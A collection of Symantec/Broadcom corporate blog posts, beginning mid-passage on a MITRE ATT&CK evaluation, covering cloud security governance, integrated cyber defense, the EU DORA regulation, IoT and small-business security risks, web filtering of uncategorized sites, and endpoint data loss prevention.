In this test an attacker attempts to create a communication channel to outside the organization for receiving commands and exfiltrating data. In real world usage the technology would not only have alerted but would have stopped the communications completely. No further instructions would be received from the attacker, no data would be exfiltrated.
All this could be looked at as a worst-case scenario. The MITRE ATT&CK Evaluation reports what products can detect and alert on. At no point are things stopped. So an attack detected early in the attack chain while alerted on is not stopped from progressing through the organization. It’s measuring all the spots in the attack chain you would be alerted about a potential threat. This is valuable information. But so is knowing if protection is possible at all these spots. And in the real world it’s critical. We’ve just shown three examples of protection. There are a lot more in the full evaluation, available here.
We look forward to sharing more details with you in our next blog.
Webinar - Symantec Endpoint Security: Innovation and Strategy for Your Success
|
Why Secure Adoption of Cloud Apps is a Team Sport
There is a battle on right now in every enterprise. It’s a nearly inevitable three-way battle between IT, Security, and Individual Business units – but we can end it. Let me explain
IT is the backbone of any modern enterprise, whose main functions involve communication, and the official services sanctioned and approved to do business – whatever that business may be. IT defines the network perimeter, communication flows, availability, accessibility, and performance. IT functions are a Venn diagram overlapping many of the functions in Security, who want to keep the company from getting hacked. Security’s main foci have been defining identity and access mechanisms into the network, endpoint security controls, security training, and monitoring the network for incidents as well as the follow-up investigations of events as they occur.
Business units, on the other hand, tend not to concentrate on any of these core hardware/software competencies. Sales and Marketing are all about creating need and driving adoption of the business product, working out partnerships and new routes to market, creating and sharing content, and keeping the revenue stream intact which keeps the lights on for the organization. Development and Engineering are also devoted to creating the output for that organization, be it manufacturing, advising, or the services provided to end-users. Their functional requirements are set for what the market needs.
Ultimately IT, security, and the business units are working to ensure the success of the company through efficiency, ability to be responsive to business needs, and the protection of vital corporate assets. Cloud is enabling business to move faster than ever before, so fast that sometimes it’s outpacing IT’s ability to maintain security and compliance.
Cloud is enabling business to move faster than ever before, so fast that sometimes it’s outpacing IT’s ability to maintain security and compliance.
Basic visibility can be an issue; the Inaugural Symantec Cloud Security Threat Report (CSTR) identified gaps between perception and reality that create risk for the organization. The report which polled 1250 professionals from around the world asked them how many cloud applications and services they believe are in use by their organization. The average response was 452 applications. Symantec data obtained through Shadow IT audits indicates the real number is over 1800. While 93% of survey respondents acknowledge that visibility is an issue, that’s a major visibility gap.
Further demonstrating the depths of the issue, three quarters (75%) of CSTR respondents experienced security incidents due to immature cloud security practices, and almost all CSTR respondents (93%) believe oversharing of files containing compliance data is a problem. To solve this problem, IT, Security, and business units need to come together.
Cloud adoption of business services, storage, collaboration, and sharing can be a more secure option for an organization if they have capital expenditure or skill limitations, especially for lowering the operational overhead. It’s fast and easy for any department to license and start using new cloud apps and services, which is why the IT or security perception of how many cloud services are in use differs drastically from the reality of how many apps used. This misconception of cloud usage defines the difference between how the three organizations have traditionally missed on communication and operations and underscores the need for a new interactive model where they all share responsibility for security.
Further demonstrating the depths of the issue, three quarters (75%) of CSTR respondents experienced security incidents due to immature cloud security practices, and almost all CSTR respondents (93%) believe oversharing of files containing compliance data is a problem.
The old noble fight of IT/Security administration was an ongoing campaign to lock network controls and company assets down against intruders, comply with policy and governance, and meet the board initiatives for a secure environment to do business within a tight budget. This put them at odds with the other business units, whose goal is to get their jobs done quickly and effectively with a minimum of hoops and extra effort. To address this sporting conflict in goals, organizations are increasingly investigating and adopting a Cloud Center of Excellence (CCoE) approach to the use of cloud apps. With this model, security moves from being the responsibility of one centralized team into a more federated idea where every functional area has skin in the game.
With business units controlling their own budgets, there’s little, to no oversight for IT into the technology stacks used by every team. Tools and solutions like Data Loss Prevention/Protection (DLP), Endpoint Protection, Encryption, and Cloud Access Security Broker (CASB) solutions are being adopted at fantastic rates; but tools in the hands of one department are not enough to keep an enterprise safe - nor is security something that the Security expert in the enterprise can dictate. A CCoE demands functional participation from management teams who previously have not taken part in the security defenses of the enterprise. It takes the owner of data to classify data and determine what is normal for their business unit.
For example, marketing and sales tend to move large files (like PowerPoint, videos, or images) for sharing and collaboration, while engineering manipulates source code and data sets between repositories. While CASB controls can help identify the activity, check the files for sensitive data, and perform decisions to secure the data, the fundamental determination of which cloud services, what data, and what responses that build basic policies have to come from a central cloud steering committee. While the CASB can find your Shadow IT and show where your Shadow Data is moving and being stored, it takes input from a steering committee to find the right responses to different actions as they happen between the user and the cloud.
A CCoE demands functional participation from management teams who previously have not taken part in the security defenses of the enterprise. It takes the owner of data to classify data and determine what is normal for their business unit.
Functional managers can also use CASB results to compare services, standardize procedures, identify underutilized or unused licenses, and control their budgets with greater accuracy, avoiding “shelfware” in terms of services purchased but never adopted. They can help determine which applications are sanctioned (allowed/approved by IT) within their group versus which are unsanctioned but necessary for business flow – or even which should be blocked entirely for the security risk. The IT/Security team cannot make all of these decisions in a vacuum, or the Shadow IT problem will simply proliferate as employees find more ways around restrictions to get their jobs done in a timely fashion.
Forming a CCoE to help determine these decisions may be the best way to keep your business flowing at a speed that pleases your employees and shareholders without sacrificing security controls. When everyone has an oar in the security waters, you can steer your cloud usage in a safer, more controlled direction and get everyone playing on the same team.
Register for Webinar: Understand the Latest Cloud Security Trends
Register for Webinar Here for North America
Register for Webinar Here for APJ
Register for Webinar Here for EMEA
|
Why Security’s Future Depends on Effective Integrated Cyber Defense
Integrations are key to cyber security in the future
With more endpoints to manage, more networks to secure and more data to protect, the last thing enterprise companies need is an ever-growing yarn ball of fragmented tools that are hard to deploy and hard to manage – not to mention the fact that they undercut the goal of cohesive overall threat detection and prevention. This is where the importance and the strength of integrations help create a better security environment for customers and partners of Symantec, a division of Broadcom (NASDQ: AVGO).
It’s also clear that the threat landscape is moving too rapidly for enterprises to safeguard their data by clinging to a patchwork of one-off solutions. That may have been good enough in the past but not today. The shift from on-prem to cloud-based SaaS solutions means that yesterday’s conventional wisdom will only lead to a dead end – or just endless sprawl. Analysts estimate that the prevailing tactical approach to cyber security has resulted in nearly two thirds of large enterprises having at least 25 cyber security products in use. To be successful, things must work together easily and with little effort from the admins – regardless if the products come from the same or different vendors.
Key Integration Challenges:
At Symantec, we saw this trend start to develop years ago when it was in the early stages. We got to work to remedy that problem by building an Integrated Cyber Defense platform (ICD) with the idea that customers would benefit from the best-in-class security working together – whether we’re talking about protecting endpoints, networks, email, data or identities, integrated at key points to offer better protection and lower operational costs via a more streamlined and effective platform.
The result – Symantec’s Integrated Cyber Defense – features a single platform that brings together cloud and on-premises security along with protection across endpoints, networks, and applications. Given the profound security challenges that businesses need to contend with during this current tech transition, and beyond – we believed that enterprises would benefit from Integrated Cyber Defense as it’s simply a better concept to fit a new era.
Platform Integrations Three Ways
Symantec has also made a major effort to deliver integrations between existing standalone technologies at different levels, making sure that any connecting points are defined and documented so that customers don’t have to spend their budgets and time to make this work.
First, at the product level, we have reduced complexity by integrating previously standalone solutions into single, coherent products. The latest example is our newly released SES Complete. Customers only need to install one agent which performs all the necessary tasks. This kind of integration has more value for customers—not just because they get better protection, but it also makes it easier for them to configure and deploy.
For those often beleaguered Security Operation Center (SOC) defenders, we’ve made it easier for them to do their job thanks to SES Complete. Here’s an example:
The SOC analyst receives an incident from the Symantec Endpoint Detection and Response (EDR), capabilities included in SES Complete.
After doing some research, they identify how the threat ended up being in their environment.
While still in the same console, they can then take the appropriate action.
Not only that, but they can identify and block the particular behavior pattern from reoccurring by setting the behavior isolation policy to reduce the attack surface in the event of potential future attack attempts.
An added benefit: the system minimizes the number of alerts SOCs need to investigate, allowing them to focus on more pressing threats.
Secondly, provide better outcomes for our customers by integrating technologies across our products. As an example, we’ve consolidated the agents between Web Security Service (WSS) and Symantec Endpoint Protection (SEP). Agent consolidation is critical in maintaining lower operational costs, better security posture and better protections. A single agent for Endpoint Prevention, EDR and WSS allows for easy deployment among the products, less time to manage agents and increased protection as it is easier for the products to work together to detect and block threats.
The upshot: Customers get to use security products that complement each other and get more effective security at a reduced cost.
And third, we created a way to integrate across our platform, including third-party solutions via Integrated Cyber Defense Exchange (ICDx). It is a data exchange technology for sharing events and intelligence across Symantec and third-party systems. Before ICDx, customers needing protection across various control points had to engineer their own “glue” to collect telemetry across control points and normalize it so they could correlate that telemetry. With ICDx, customers essentially get “plug and play” data normalization, centralizing threat telemetry for better threat hunting.
We reached out to the broader industry to create an open ecosystem so technology partners can deliver essential integrations with Symantec’s portfolio and customers can easily deploy and connect in Symantec’s and third party products together through ICDx. It’s up to customers to choose what fits best for their environment. Whatever their solution is, our integrations will drive toward the common goal of building a more robust security ecosystem and help customers blunt the attempts of adversaries. The upshot: Customers get to use security products that complement each other and get more effective security at a reduced cost.
For example, multiple Symantec products are currently integrated with multiple 3rd party solutions such as SIEM, SOAR and TIP. Splunk, Cybersponse and Anomali are some partners we have integrated using ICDx as the single integration point across the portfolio.
ICDx simplifies the integration which drives better intelligence, monitoring, and stronger cyber risk management and reporting.
For overworked SOC analysts who spend a lot of their time trying to configure disconnect, point security tools instead of investigating and analyzing threats, ICDx simplifies the integration which drives better intelligence, monitoring, and stronger cyber risk management and reporting.
Three Security Pillars of Strength
Symantec’s approach to building an integrated platform rests on three important security pillars: evolving threats, digital transformation and privacy and compliance.
Evolving Threats: The basic idea is that integrating information from multiple solutions - whether on-prem or cloud based – simply offers better threat visibility. It also affords customers a far greater opportunity to conduct correlations and apply threat intelligence to identify and catch threats they might otherwise have missed had the products not been integrated properly. It also reduces response times between the time a suspicious file gets identified and the time it gets blocked.
Digital Transformation: As more companies transition from on-prem solutions to cloud and SaaS-based services, they face new challenges and requirements as they set up their environments. More than ever, that means they’ll need solutions working together to help them successfully engineer this transformation in a secure way. They need the ability to understand who's accessing what types of data and from where. That's where Integrated Cyber Defense integrations, such as Symantec Web Security Services (WSS) and Symantec Cloud Access Security Broker (CASB), for instance, provide secure access as enterprises set up proper policies for this new era of corporate computing.
Privacy and Compliance: Organizations need to be able to store and retrieve data from different places. What’s more, PII data is going to get treated differently than non-PII data. Organizations need to set proper access rules and also decide where the information gets stored. Will they use a public cloud? A non-public cloud? A hybrid approach? These are key decisions that each company must decide. Similarly, they need to account for privacy considerations. This can get complicated quickly as different regions around the country and globe have different regulations, so they need to make sure that they’re following the local rules governing privacy. With integrated cyber defense, there’s no longer guesswork involved. The platform offers a way to handle data in a normalized and centralized way, allowing for field filtering, types of events and forwarding to the right destinations.
Platform Power
With every new breach, we get another reminder that no single technology is going to adequately protect an enterprise against all cyber-security risks. That’s where our ICD platform is answering the challenge in a way that sets it apart from the legacy security approaches that still predominate in some corners. What’s more, this isn’t a “one-and-done.” In the months and years ahead, we’ll continue to invest in our platform as we extend ICD’s capabilities and integrations even further.
If you have 2 or more Symantec solutions - you can download ICDx for free HERE
|
Why Should You Care About DORA?
Fireside Chat with Ilias Chantzos, Global Privacy Officer of Broadcom
So what is DORA?
DORA stands for Digital Operational Resilience Act, not the charming child cartoon character that appears when inputting the acronym in a search engine. It’s one of the latest EU sectoral cyber security legislative initiatives. It is specifically focused on the financial sector and complements horizontal cyber security requirements already in place, such as the Network and Information Security Directive (NISD) or the famous General Data Protection Regulation (GDPR).
Is DORA a legal requirement?
DORA is not EU law yet. It is a proposal from the European Commission to the co-legislatures (the EU Parliament and Council) that is currently going through the regulatory process.
As this is draft legislation, what is the expectation on the likely timescales?
Although not EU law yet, DORA is nevertheless quite advanced in the EU co-decision process, which is akin to a typical two-chamber parliamentary system. It is fair to assume that sometime in 2022 DORA is going to become part of the EU legislative arsenal and like GDPR it will be directly applicable in each EU Member State without having to go through national parliaments.
So I assume this just applies to financial services, correct?
The answer depends on where you are in the “food chain”. If you are working for a financial institution, be that a bank, a stockbroker, or an insurance company, DORA is regulating you directly. It means that your cyber security, transparency, contractual commitments, supply chain, incident response and risk management obligations become part of what the finance regulator can scrutinize. In fact, even your choice or dependency on certain suppliers may be something the regulator could be entitled to look into.
If on the other hand you are part of the technology supply chain DORA is impacting you directly or indirectly depending on your role in that supply chain.
Hang on, did you say this applies to tech companies too?
If your organization is a direct supplier to financial institutions providing them with services that within the meaning of DORA meet a certain criticality threshold, this results in your organization being subjected directly to the supervision of the relevant financial regulator. If the technology services your organization provides are not designated as critical or important, still DORA means that the financial institutions will be required to demand certain terms of their suppliers. If the suppliers are not willing to accept the DORA terms, such as very time constrained breach notification requirements or invasive audit rights for customers and their regulators, the finance institutions will not be able to do business with the supplier in question. Realistically this means that DORA will dictate the contractual terms and technology capabilities suppliers will need to offer to the financial industry. Even if a supplier is not directly servicing financial customers but it is part of the overall supply chain to the financial industry, it is fair to assume that most of these terms will flow down indirectly as part of the subcontracting process.
It is fair to assume that sometime in 2022 DORA is going to become part of the EU legislative arsenal and like GDPR it will be directly applicable in each EU Member State without having to go through national parliaments.
You mentioned time constrained breach notification requirements. GDPR already mandates 72hrs breach notification. Could this notification window be even shorter under DORA?
Yes, in fact quite shorter. In the original Commission proposal it was suggested that an initial notification should happen within 2hrs from the moment a major incident was discovered with further notification requirements as time goes by and more information is discovered. Industry has pushed against that and we need to see how the final negotiation result will look like. Overall we see efforts across the world to constrain the notification window below the 72hrs of GDPR. In the recent recast of NISD the Commission proposed an initial notification window of 24hrs.
Aren’t companies already managing cyber security and risk? What’s the difference about DORA?
DORA builds on the European Banking Authority Guidelines on Outsourcing (EBAG) but instead of repeating the guidelines and turning them into law, it goes a lot further by introducing a system of oversight for technology service providers, mostly targeted around cloud computing, that are perceived to perform critical or important functions. Moreover, DORA requires financial institutions to build a risk management system around their information technology practices and elevates information technology risk at the same level as financial risk. DORA establishes concrete cyber security obligations, it regulates contractual terms, it describes the prudential role financial regulators have on cyber security and creates requirements around supply chain risk management. Overall, it is probably the most comprehensive cyber security legislation we have seen to date by the EU.
DORA has received quite some criticism especially for going beyond EBAG. Some consider it as requiring the creation of a cloud only for financial institutions. Others raise concerns about competitiveness of the EU financial industry due to the increased governance and costs requirements, while others fear hidden data localization and national preferential treatment requirements. In the end the concerns are likely to be put aside by the realities that the pandemic has placed on all of us. Cyber is critical for our societies. Finance is a critical infrastructure, and it is cyber-dependent. The pandemic and the recent geopolitical tensions together with their cyber-links showed us what can go wrong. Therefore, both need to be regulated with clear rules and expectations.
Moreover, DORA requires financial institutions to build a risk management system around their information technology practices and elevates information technology risk at the same level as financial risk.
DORA is a proposed piece of EU legislation, how is it relevant to a non-EU organization?
It is important also to remember that DORA is not just an EU initiative or, depending on your perspective, a European problem. If a non-EU financial institution is doing business in the EU or has an EU subsidiary, or a non-EU based technology company serves EU-based financial institutions remotely, then itself and its supply chain are caught by DORA. Moreover, non-EU regulators look at DORA and get inspired on how their prudential requirements need to look like. We start to see glimpses of that in places like the UK, Australia, South Africa, Singapore and Canada.
Finally what is your advice for readers to do now - given that DORA is still drafted and agreed upon?
The large players in technology and finance are already aware of what is coming and start preparing for it. The regulators are participating in the negotiations and try to shape them in accordance with their objectives. It’s important that all stakeholders understand what DORA will mean for their business and how they will operationalize its requirements into technologies and procedures that will deliver the desired results at manageable costs.
You can view the below links for additional information on DORA:
https://www.ey.com/en_lu/consulting/the-dora--strengthening-the-operational-resilience-of-the-financ
https://www.ey.com/en_be/financial-services/how-will-the-digital-operational-resilience-act-impact-your-organization
https://ec.europa.eu/commission/presscorner/detail/en/IP_20_1684
https://ec.europa.eu/info/law/better-regulation/have-your-say/initiatives/12090-Financial-services-improving-resilience-against-cyberattacks-new-rules-_en
|
Why Smart Devices Need Even Smarter Security
Enterprises face a world of morphing endpoints where they must defend against cyber attacks that target traditionally unconnected devices
The introduction of a new generation of connected, intelligent devices into the workplace has helped businesses become more productive, serve customers more efficiently and expand into new markets.
But as more smart devices join the burgeoning Internet of Things (IoT), the transition has scrambled the historical notion of the corporate endpoint. We’ve moved beyond the realm of desktop and laptop computers, or even mobile phones and tablets. Millions of connected “things” now populate far-flung enterprise networks, sending and receiving valuable data across the internet.
However, digital disruption also comes with a price.
Each new endpoint also constitutes a potential entry point for cyber criminals. From a security perspective, that raises all sorts of nasty sci-fi scenarios. We got a sneak peek at one of them last year when digital video cameras compromised by the Mirai botnet powered massive distributed denial-of-service (DDoS) attacks against key parts of the Internet.
The incident stunned the security world and focused attention on the success of attackers at finding new ways to infect devices that weren’t susceptible previously. Indeed, enterprises now face the threat of defending against attacks that begin with hacks of management interfaces to traditionally unconnected devices such as fish tanks and coffee machines.
For IT professionals, the emergence of the IoT raises many challenges, not the least being how to handle security for endpoints, networks and data in a world of myriad connected devices. In a world of connected watches and office equipment to kitchen appliances and smart washing machines - attacks can come from any vector. Simply put, we’re all connected.
Historic Transition
The good news is that there’s been better collaboration around industry standards for IoT security. The bad news is that progress remains slow.
In the meantime, the market’s flooded with literally hundreds of protocols that govern aspects of the IoT ecosystem. Unfortunately, in the absence of de facto standards or a governing body, many IoT manufacturers continue to ship products without adequately designing security into their devices.
Still, that’s still not slowing down the pace of this historic transition. Organizations view this as a competitive necessity and are adding IoT devices to their operations at a record clip. Gartner estimates that about 8.4 billion IoT devices will be in operation globally by the end of this year, up a stunning 31% from 2016.
“IoT is a game-changing event in the history of IT and organizations increasingly view it as strategic to their operations," noted Kevin Haley, director of product management for security response at Symantec, in a recent article.
With so many IoT devices now in use, it’s a given that attackers will focus on these weak points to breach otherwise well-defended networks
But Haley also noted that IoT puts added responsibility on organizations and individuals “to do better when it comes to cyber security." Indeed, with so many IoT devices now in use, it’s a given that attackers will focus on these weak points to breach otherwise well-defended networks.
There’s particular risk to enterprises from consumer devices that either migrate into workplaces or wind up being hijacked to attack organizations. In one of the more spectacular incidents, attackers reportedly made off with more than 10 gigabytes of data after compromising an internet-connected fish tank and then using the connection to breach a North American casino's network. While few confirmed examples of similar attacks exist at this point, the likelihood is that they will become more commonplace as attackers refine their methods.
"We know that there are even smaller devices on the network that are just as vulnerable," according to security researcher Joe Stewart. "You have no idea what protocol they are speaking, so they may be using TLS or SSL to encrypt the connection."
What’s more, the practice of placing a lightweight agent on the device will not work for many IoT things; many don’t have enough processing power nor memory to handle such an agent.
A good first step is to determine how many devices are in the network and start formulating policy as add get added to the network. Organizations can complement their endpoint management with network analysis that focuses on identifying anomalous traffic. Another popular tactic is to place enticing systems and data on the network, known as honeypots or canaries, to detect breaches as soon as attackers start trying to move through the network.
On a more strategic level, effective IoT security also depends on having a strong, multi-layered security foundation that can withstand the expected onslaught; though the “big one” hasn’t yet hit, rest assured it’s on the way. As Stewart notes, so many IoT devices in use nowadays are vulnerable that attacks against these morphing endpoints are a foregone conclusion.
If defenders aren’t prepared, he cautioned, they could find themselves facing “a nightmare scenario.”
|
Why SMBs Are Easy Targets for the Bad Guys
As malicious hackers turn up the heat, small and medium businesses can’t remain complacent - the threats to their security are real and growing worse all the time
During a recent business dinner, I wound up sitting beside the owner of a logistics company who confidently confided that his 6-person business was just too small to hack.
His firm annually grossed somewhere in the high 6-figures and the anti-virus software he had installed on the company PC’s and internet router offered more than enough peace of mind for him. This isn’t the first time I’ve heard this argument from owners of small and medium-sized businesses (SMB). But it’s still cause for concern because the threats to their security are real and growing worse all the time.
Yet despite the sharp growth in attacks, there’s still too much complacency among SMBs. When the subject turns to cyber security, some SMBs think that they’re too small to get hacked. Others believe that they can get by just fine with free anti-virus software. I’ve heard some even comment that their iPhones are “inherently secure” or that their employees rarely access company data from their phones anyway.
Whether companies have 1 or 100 employees, they still need to put in place basic protections. As you go about evaluating whether you’re equipped to stop a cyber attack, ask yourself these questions:
Do I sell to big enterprises?
When criminals try to break into a business’s network, they tap every virtual “window” or “door.” If they can’t break in, they move on to the next one. If your biggest customers have locked all of their doors, you, as the SMB connected to that big business, might get targeted. And if an SMB gets hacked, they may have some liability or be required to take some immediate actions if that leads to a breach of their clients. Compounding matters, new data protection regulations coming into law in Europe this May means that government authorities will be able to impose hefty new fines for any data breaches.
Currently, the UK relies on the Data Protection Act 1998, which was enacted following the 1995 EU Data Protection Directive. But this will be superseded by the new legislation to protect personal data known as General Data Protection Regulation. It introduces tougher fines for non-compliance and breaches, and gives people more say over what companies can do with their data. It also makes data protection rules more or less identical throughout the European Union.
Even if they haven’t already, larger enterprises that SMBs serve are beginning to require those SMBs to comply with their enterprise security guidelines. For many reasons, far smaller companies are needing - and nearly required - to have the (cyber) defenses expected of their far bigger partners.
How many “things” access the Internet?
When I ask SMBs to count the number of devices in their businesses that connect to the Internet, they usually underestimate that number by as much as a factor of 3. They may count laptops and personal computers. But they often overlook the fact that their employees regularly use personal phones and tablets to access business data. What’s more, there are any number of other devices - in fact, anything connected to the Internet - that represent a potential point of entry for a virtual “break-in” into your business.
The growth of the Internet of Things (IoT) is ushering in an era where there will be a constellation of connected devices. And the bad guys are taking aim. Indeed, an IoT device can be compromised within two minutes of connecting to the Internet. And unlike breaking through a door or window of a physical office, there’s no real alarm, unless your security software is professional enough to detect the attack.
How many of your employees are trained to prevent cyber attacks?
Have your people been trained properly? More than half of all cyber attacks stem from human error. It only takes one employee who clicks on a bad website, opens a malicious email link or falls for a social engineering ruse to let an intruder into your network. Cyber defense requires both great products and employee awareness but without both, SMBs put themselves at risk. Just as companies need to enforce rules around sexual harassment, privacy, and the prevention of work-place violence, they can’t treat cyber security as an afterthought. It’s critical to get this right.
SMBs face enough challenges just tending to the running of their businesses. They don’t need to add a cyber breach to their to-do list. You’ve heard the adage, “Pay now or pay later.” Investing the time and resources now will pay off in the long run – and avoid potentially a lot of pain in the future.
What do you need to protect your business? I’ll be examining how SMBs should arm themselves against cyber attacks in another blog in this same space next month. Please share this with anyone who may benefit. You can always contact me @ https://www.
|
Why Uncategorized Web Sites Never Again Need to Befuddle IT
IT administrators finally have the tools to handle the endless dilemma when it comes to treating uncategorized web sites employees want to access
How should you handle websites that are uncategorized or might have been assigned a category of “none?” It’s a problem that has plagued IT staff since the start of URL filtering.
Without a good way to deal with new web sites that were uncategorized, organizations have had to choose between blocking or allowing uncategorized sites, with each choice having their own inherent problems. IT administrators now have powerful new tools that address the problems that arise with uncategorized sites.
The introduction of Dynamic Real-Time Rating (DRTR) in 2006 addressed most of the concerns organizations had around new websites that were not already categorized in the Blue Coat WebFilter URL database.
By using cloud-based artificial intelligence, new websites could be examined in near real-time, and categorized based on the content of the website (into up to four of the 84 categories defined by WebFilter) allowing administrators to apply web governance policy to new, previously unknown websites.
Even with this new technology, however, a small percentage of new websites may still remain uncategorized.
Specifically, those sites that offer limited clues about the content of the web page are the ones most likely to remain uncategorized after a DRTR attempt. Examples of this include pages that return no content (a blank page), or a page that is filled entirely with a single image or multiple images.
It’s been an ongoing challenge. In fact, uncategorized sites are most problematic for IT administrators who traditionally have had just two choices: Either allow them or block them.
Blocking increases the number of help desk calls from users who want to access particular content, a further drain on company resources. But allowing employees to wind up wherever they want in cyber space leaves the organization vulnerable to increased levels of malware and possible infections. Neither choice was appealing and so organizations have searched for a better option.
Symantec has introduced two new tools in the last year to help IT administrators address the issue of uncategorized websites. The first one, Threat Risk Levels, was introduced as part of a new subscription service, Intelligence Services.
Intelligence Services offers all the categorization capabilities of WebFilter, combined with some additional new features including geo-location (offering the ability to create policy based on the country location of the website), and Threat Risk Levels. Threat Risk Levels are assigned to all websites; for new websites, it makes use of an updated version of the artificial intelligence engine that is deployed for categorization.
Threat Risk Levels range between 1 being the safest and 10 the riskiest. Using these values, IT administrators, can block uncategorized sites with high risk levels as part of a tougher security stance.
For even more flexibility and security, Threat Risk Levels can be integrated with web isolation, a new product from Symantec, through the 2017 acquisition of Fireglass. Web Isolation allows all code being sent from a website to run on a remote browser, rather than locally in an end-user’s browser. The remote browser then sends a visual stream of the resulting web page (and none of the executing code in the remote browser), isolating the user from any risk in the original web page.
Web Isolation provides a framework to add another layer of policy with Threat Risk Levels. For example, if the organization was allowing uncategorized sites with Threat Risk Levels of 1-3 (those sites generally considered safe), and blocking 4-10, they can now web isolate 4-6 (sites considered suspicious), and block 7-10 (the riskiest sites).
This allows IT administrators to block the riskiest uncategorized sites, and allows end-users to access the suspicious uncategorized sites safely. That translates into reduced work for the people staffing the helpdesk, which otherwise would need to field calls from employees blocked from accessing uncategorized sites.
In addition to providing a solution for uncategorized sites, even greater flexibility for an organization’s web access policy is available when you combine Threat Risk Levels and Web Isolation with policy for websites that are categorized in specific targeted web categories that may be problematic for the organization.
For example, the category File Sharing may have been a cause for consternation, as the files hosted on File Sharing sites (such as Box, Dropbox, etc), have little governance, and may be an easy access point for a cyber criminal to get malicious files down to the organization’s end-user. Web Isolation can be used on File Sharing sites with a wider range of Threat Risk Levels (say from 4 to 8, and blocking only Threat Risk Level 10), to keep access open for the end-user while at the same time isolating the end-user from any malicious content.
Figure 1 below shows some possible policy options with Web Isolation and Threat Risk Levels based on different categories and risk levels.
Figure 1: Possible policy options for specific categories using Threat Risk Levels and Web Isolation.
IT administrators have more options than ever to handle uncategorized web sites, giving them greater flexibility to allow access to new websites, with unknown content, while at the same time maintaining a high level of security for the end-user.
Threat Risk Levels make it easy to identify suspicious and risky sites and apply policy to those sites, while Web Isolation gives end-users safe access to websites that would have previously been blocked (in the case of blocking uncategorized sites), and safe access to websites that could have infected the end-user (in the case of allowing uncategorized sites).
If you found this content useful, you may also enjoy:
The Need for Threat Risk Levels: https://www.symantec.com/content/dam/symantec/docs/white-papers/need-for-threat-tisk-Levels-in-secure-web-gateways-en.pdf
Request a Demo of Symantec Web Isolation: https://resource.elq.symantec.com/LP=4704
Does Your Endpoint Security Solution Have These 5 Essential Features? https://www.symantec.com/blogs/product-insights/does-your-endpoint-security-solution-have-these-5-essential-features
|
Why We Need a Security and Privacy “Nutrition Label” for IoT Devices
Things are getting worse as the growing number of home IoT devices increases their aggregate attack surface
Your microwave may be a hacker’s best friend. As thousands of Internet of Things (IoT) devices including fitness trackers, security webcams and smart home appliances flood the market, American homes have become tempting attack vectors for those with malicious intent. The devices can be hijacked to launch worldwide attacks or used to squirrel into home networks and steal people’s personal and financial information.
Things are getting worse as the growing number of home IoT devices increases their aggregate attack surface. Over the last few years, Symantec Research Labs has traced the rise of IoT-specific malware like Mirai, Brickerbot, and Tsunami, along with a series of high-profile attacks using IoT devices. Mirai, for example, infected internet-connected security cameras to create a massive botnet which brought down wide swaths of the Internet in a worldwide denial-of-service (DoS) attack. The Symantec 2018 Internet Security Threat Report found a 600 percent increase in overall IoT attacks in 2017. And Symantec experts warn in a blog post that “as home-based IoT devices become more ubiquitous, there will likely be future attempts to weaponize them – say, by one nation shutting down home thermostats in an enemy state during a harsh winter.”
It needn’t be that way. As I’ll explain in this blog post, a simple solution may be at hand: A security and privacy “nutritional label” for IoT devices so that consumers know whether the IoT devices they buy are safe and secure, much like the “Nutrition Facts” label the FDA developed to help consumers know what is in their food.
Consumers right now have no way to know the risks any particular device poses. An electronic toy a parent is considering buying might be able to eavesdrop on conversations, record videos without consent, and secretly disclose the child’s location, posing a serious threat to the family’s safety and privacy. Consumers need a concise, informative label that conveys high-level security and privacy facts for an IoT device so they can be well-informed before buying.
Such a label would have these three important goals:
Identify the essential security and privacy factors that most affect consumers.
Use an effective visual layout to help consumers understand the security and privacy implication of each of these factors.
Create a sustainable communication channel to offer an up-to-date security and privacy assessment of IoT devices.
Essential Security and Privacy Factors for the Label
What exactly would be on such a label? Symantec Research Labs proposes four categories of information, which cover the device’s sensors, connectivity, security and privacy features.
Sensors: Because of advances in micro-machinery and easy-to-use microcontroller platforms, sensors can be easily integrated into IoT devices — and it can be difficult or even impossible for consumers to know which are inside and might be gathering data. So a label should list all of a device’s sensors, including audio, video, motion and environmental.
Connectivity: IoT devices use common networking technologies like WiFi or Ethernet or more specialized ones that use less power or provide ad hoc connectivity. These protocols include Wi-Fi, Ethernet/LAN, Bluetooth, ZigBee and ZigWave. All connectivity protocols should be listed on the label so consumers can know the ways in which the device can send or receive data.
Security: The label should cover a basic set of security guidelines. For example, it should include whether the device uses potentially insecure authentication mechanisms, encrypted communication when backing up data, and whether its firmware is updated over-the-air securely. Among the information included should be certificates used, secure boot, update management, password schemes, authentication, and remote access.
Privacy: The label should inform consumers if the device collects any personal information or anonymous diagnostic data, as well as whether any local or remote data storage is supported. Some important factors for this category include personal identifiable information (PII) collection, telemetry data collection/sharing and opt-in/opt-out policies, and data storage and retention policy (for example, when it is GDPR-compliant).
The Label’s Visual Layouts
Symantec Research Labs has designed two potential visual layouts for the label, as you can see below. The first is similar to the FDA nutrition label, while the second relies on icons and text to convey high-level information.
Keep in mind that there are more parameters that should be listed on the label than are found in food nutrition labels, because of the complexity of privacy and security. Our vision is to balance providing an adequate level of detail, while making the information understandable and accessible to consumers. Collaboration with manufacturers, service providers, certification bodies, and others will be needed to strengthen and secure the emerging IoT ecosystem and reflect that in what is provided on the label.
Design 1: Uses design concepts based on the FDA nutrition label.
Design 2: Uses icons and text.
Conclusion
We think labels like these will be good for consumers, because they’ll better informed about the devices they purchase and will be more likely to buy ones that can’t be hacked. And they’ll be good for device makers, because secure and well-informed consumers will be more likely to buy IoT devices. And while the labels won’t help people lose that extra ten pounds they put on this winter, it’ll help keep them safe and secure, no matter what device they use.
|
Why You Need Symantec DLP Endpoint to Protect Data in the Cloud
Delivering integrated data security
In the early days of corporate computing, the saying went, a CIO would not be fired for putting all of their eggs in one large basket. Truth be told, the “one-throat-to-choke” approach has never disappeared, but these days most enterprises have multiple go-to vendors because they seek best-of-breed solutions and they built this out over time.
Likewise, in the cyber security realm, there’s a tremendous push to deploy Secure Access Service Edge (SASE) for its cloud-native and comprehensive enterprise protections, but there’s no one-size-fits-every-use-case solution in the market. And while SASE is a rapidly maturing category, many enterprises overlook the key endpoint use cases that are critical to protect their data-in-use. After all, every interaction with the cloud involves an endpoint.
“Symantec has the industry's best endpoint DLP solution. Our deep integration with CASB via our innovative Cloud Detection Service provides the broadest DLP inspection in the market.” - Rob Greer, Vice President and General Manager, Network Information Security Division at Broadcom
